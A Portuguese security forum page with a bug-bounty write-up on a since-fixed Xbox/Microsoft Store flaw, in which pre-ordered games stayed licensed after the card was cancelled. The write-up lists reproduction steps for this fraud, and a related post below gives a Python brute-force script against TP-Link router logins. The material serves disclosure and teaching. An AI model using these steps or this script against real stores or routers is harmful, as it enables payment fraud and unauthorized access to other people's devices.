Jump to content
  • Entendendo a vulnerabilidade que permitia comprar jogos de Xbox sem pagar

       (2 reviews)

    A Microsoft possui um programa extenso de bug bounty (programa de pagamento de recompensas a pesquisadores que encontram e reportam falhas de segurança dos produtos da empresa). Já participei algumas vezes e recebi alguns reconhecimentos no portal do MSRC (Microsoft Security Response Center), mas meu primeiro bounty no MSRC derivou de uma falha que identifiquei no método de pagamento da Microsoft. Tal falha permitiu que eu realizasse compra de produtos da loja e não pagasse nada por isso.

    Quando reportei a falha ao MSRC, ela não foi aceita de primeira. O time de triagem desacreditou, mesmo com as PoCs (Proof Of Concept - Provas de Conceito) de alguém que dizia: "Ei Microsoft, eu consigo assinar o Xbox Live de graça". ?‍♂️
     
    Tive o meu ticket no MSRC encerrado, porém continuei pesquisando e aprimorando a exploração da vulnerabilidade e depois de um tempo abri um novo ticket dizendo: “Ei Microsoft, além de assinar seus serviços, agora eu consigo comprar seus produtos sem pagar nada”.

    Prova de conceito da compra de jogos sem pagar

    Prova de conceito da compra dos jogos sem pagar

    Depois de muita descrença por parte do MSRC e de muitas compras (cerca de R$ 15.000,00 em produtos) eles responderam: “Ei, fique conosco, pois daremos continuidade à reprodução de seu bug”.

    Entendendo a falha

    O fluxo de compra da Microsoft é o seguinte:

    1. O cliente, estando logado no Xbox ou na Microsoft Store, procura e seleciona os produtos nos quais tem interesse e ao final da compra solicita o fechamento do carrinho, iniciando processo de pagamento.
    2. Microsoft recebe a solicitação da compra dos itens selecionados e os dados para pagamento.
    3. O Host de pagamento da Microsoft faz uma requisição para o Gateway de pagamento responsável.
    4. O Gateway de pagamento consulta o Adquirente para que ele faça a liquidação da transação.
    5. O Adquirente consulta a instituição financeira para saber se o cliente possui crédito suficiente para a transação.
    6. O Banco submete a transação às suas regras de validação que, dentre outras coisas, verifica se o cliente possui crédito para concluir a transação e devolve a resposta para o Adquirente.
    7. O processo inverso acontece para que a aprovação da compra seja concluída.

    Entendendo o fluxo de compra, também precisamos saber que a Microsoft possui duas categorias de produtos:

    • Produtos em release (jogos que já foram lançados)
    • Produtos em pre-order (jogos que serão lançados)

    A lógica da cobrança dos produtos é a seguinte:

    Para produtos já lançados, a validação (checkout realizado pelo gateway) ocorre no momento do cadastro do cartão de crédito e no momento da compra.

    Para produtos em pre-order, a validação também ocorre no momento do cadastro e da compra, porém há uma pequena diferença:  
    A cobrança de um produto em pre-order ocorre no momento da compra, mas caso não haja limite disponível, haverá nova tentativa em outro momento. No caso, se a primeira cobrança falhar, a segunda cobrança acontece 10 dias antes do produto ser lançado. Sendo assim os passos 2 ao 7 do fluxograma mostrado anteriormente serão executados exatamente 10 dias antes do produto mudar de categoria, de pre-order para  release.

    Nesse caso temos a seguinte linha do tempo:

    1. Cadastro do cartão de crédito - Uma consulta ao gateway de pagamento é realizada para confirmação de que os dados inseridos se tratam de um cartão de crédito válido.
    2. Compra do produto - A segunda consulta é realizada ao gateway de pagamento, porém como se trata de um produto em pre-order, não existe a obrigatoriedade de pagarmos no ato da compra e temos uma opção implícita de sermos "cobrados" 10 dias antes do release.
    3. Entrega do produto - O produto é enviado para o comprador. 

    Nesse caso, a tentativa da quebra da lógica do pagamento é conseguir acesso ao produto e não pagar antes dos 10 dias do seu lançamento.

    Para contornar o pagamento temos que fazer com que nosso cartão de crédito seja um cartão válido no momento do cadastro do método de pagamento e que seja um cartão inválido no momento do débito do valor do produto.

    Reproduzindo a falha

    1. Registramos um cartão válido na nossa conta do Xbox Live (primeira consulta ao gateway de pagamento é realizada).
    2. Cancelamos e bloqueamos o cartão de crédito no banco emissor.
    3. Agora com cartão inválido, podemos comprar os produtos em pré-venda.A segunda consulta ao gateway é realizada, porém como a cobrança pode ser realizada 10 dias antes do lançamento, conseguimos acesso aos produtos sem sermos debitados. 
    4. A tentativa de débito do cartão registrado será feita 10 dias antes do lançamento do produto e você poderá receber várias notificações informando sobre a falha no pagamento Keep calm. :).
    5. Nesse momento é que encontramos a falha e ela está no estorno da compra, pois a licença do produto não é revogada! Quando o produto for lançado você continuará com a licença normalmente e poderá usufruir dos jogos sem problemas.

    O vídeo abaixo mostra os jogos que obtive reproduzindo o esquema acima:

    Depois de um tempo eu percebi que em alguns casos não é necessário nem mesmo cancelar o cartão de crédito válido.

    Outra opção é utilizar um um cartão de crédito pré-pago ou conta do PayPal sem fundos suficientes.

    Interessante é que quando comecei a escrever este artigo, não existia nenhum programa de bug bounty ativo para o Xbox One. No entanto, após a aceitação da falha por parte do MSRC, criaram um programa privado para o qual eu fui convidado e, mais recentemente, lançaram um programa público.

    Essa falha já foi corrigida, porém existem outras plataformas de e-Commerce e de jogos que podem estar vulneráveis a ataques similares.

    Após contactar a Microsoft, eles corrigiram a vulnerabilidade me deram uma ótima recompensa. ??
     


    User Feedback


  • Similar Content

    • By Walderlan Sena
      Tools Router Brute
       
      Ferramenta para executar ataque de força bruta em roteadores TPLink.
      Download código completo: https://github.com/WalderlanSena/toolsrouterbrute
      Modelo Roteador Wireless N 300Mbps TL-WR849N

      Velocidade wireless de 300Mbps ideal para aplicações sensíveis a interrupções, como streaming de vídeo em HD Fácil configuração da criptografia de segurança da rede wireless com um simples toque no botão WPS Controle de banda baseado em IP permite aos administradores determinarem que largura de banda será alocada para cada computador WDS wireless bridge fornece perfeita ponte para expandir a rede wireless. Site: https://www.tp-link.com/br  
      Funcionamento da Autenticação do TP-Link - TL-WR849N
      Capturando url atual e subscrevendo o valor para o link definido no replace e redirecionando o usuário. Criando uma variável isLocker e atribuindo o valor false a mesma. Deletando o cookie Authorization, vulgo responsável pela a autenticação. var url = window.location.href; if (url.indexOf("tplinklogin.net") >= 0) { url = url.replace("tplinklogin.net", "tplinkwifi.net"); window.location = url; } var isLocked = false; deleteCookie("Authorization"); Função responsável implementar a hash base64, que é utilizada para setar o cookie de autenticação.
      function Base64Encoding(input) { var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; var output = ""; var chr1, chr2, chr3, enc1, enc2, enc3, enc4; var i = 0; input = utf8_encode(input); while (i < input.length) { chr1 = input.charCodeAt(i++); chr2 = input.charCodeAt(i++); chr3 = input.charCodeAt(i++); enc1 = chr1 >> 2; enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); enc4 = chr3 & 63; if (isNaN(chr2)) { enc3 = enc4 = 64; } else if (isNaN(chr3)) { enc4 = 64; } output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + keyStr.charAt(enc3) + keyStr.charAt(enc4); } return output; } Função que monitora o clique de login e captura os dados informado pelo usuário
      function PCWin(event) { if (event.keyCode == 13) { PCSubWin(); } } function PCSubWin() { // Verifica se o usúario não está bloqueado por alguns segundos if (isLocked == true) { return; } // Criando uma variavel que receberá o base64 referente a autenticação // E criando duas variavels para receber o userName e o password var auth; var password = $("pcPassword").value; var userName = $("userName").value; // Concatena a palavra "Basic" com a hash base64 de userName com ":" e o password auth = "Basic "+Base64Encoding(userName+":"+password); // Atribui o valor ao Cookie do navegador com a chave Authorization e com o auth como conteúdo document.cookie = "Authorization=" + auth; // Recarrega a página window.location.reload(); } Entendendo o funcionamento do nosso script que chamei de trb.py
      def main(): wordlist = open(sys.argv[3], 'r') count = 0 for i in wordlist: login = str(sys.argv[1]) senha = i.rstrip() auth = "Basic " authEncode = auth+base64.b64encode(login+':'+senha) cookie = {"Authorization": authEncode} response = r.get('http://'+sys.argv[2], cookies=cookie) if response.content.count('id="userName"') != 1: os.system('setterm -cursor on') print('\n\tPassword Found =====> ' + senha) exit(0) else: os.system("clear") splash() count = count + 1 print('\t[ '+ str(count) + ' ] Password not found ===> ' + senha) Primeiramente lemos a wordlist (Lista de palavra possíveis para a senha do roteador.) e o login passados via parâmetros  no script. Posteriormente fazendo a encriptação do ambos os dados para base64, montando assim o cookie e enviando para o ip do roteador.
      Capturamos o retorno e verificamos a palavra chave retornada após o login.
      O script é bem simples. Servindo para compreender como as ferramentas mais complexas realizam tais operações !
       
      Mas lembre-se, "Hacker e como escrever uma redação, você apenas tem um tema e cada um vai pensar em uma solução diferente."
       
      Grande abraço !
×
×
  • Create New...